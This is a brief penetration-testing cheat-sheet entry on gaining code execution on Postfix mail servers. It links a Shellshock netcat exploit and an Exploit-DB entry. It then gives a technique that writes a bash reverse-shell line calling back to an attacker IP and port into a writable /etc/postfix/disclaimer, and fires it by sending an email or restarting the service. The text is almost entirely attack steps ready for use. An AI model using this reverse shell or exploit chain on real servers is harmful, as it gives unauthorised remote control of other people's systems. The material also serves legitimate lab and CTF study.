postfix smtp

Shellsock

• https://github.com/3mrgnc3/pentest_old/blob/master/postfix-shellshock-nc.py

• https://www.exploit-db.com/exploits/34896

/etc/postfix/disclaimer RCE

REQUIREMENT: /etc/postfix/disclaimer needs to writable

# add shell to top of file
bash -i >& /dev/tcp/IP/PORT 0>&1

# invoke
send email via smtp
[OR] service postfix restart